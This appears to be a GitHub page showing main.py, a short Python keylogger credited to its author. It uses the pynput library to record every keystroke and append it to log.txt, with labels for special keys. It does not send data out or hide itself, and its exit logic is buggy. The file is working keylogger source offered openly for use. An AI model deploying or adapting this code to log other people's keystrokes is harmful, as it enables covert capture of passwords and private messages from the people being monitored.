-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
52 lines (39 loc) · 1.12 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# Keylogger by Mahesh Sawant.
import pynput
from pynput.keyboard import Key,Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count+=1
print("{0} pressed".format(key))
if count >= 1:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("log.txt","a") as f:
for key in keys:
k=str(key).replace("'","")
if k.find("backspace") > 0:
f.write("Backspace_key ")
elif k.find("enter") > 0:
f.write('\n')
elif k.find("shift") > 0:
f.write("Shift_key ")
elif k.find("space") > 0:
f.write(" ")
elif k.find("caps_lock") >0 :
f.write("caps_Lock_key ")
elif k.find("Key"):
f.write(k)
def on_release(key):
global exit
if key == Key.esc:
exit += 1
if exit == 5 :
return False
exit = 0
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()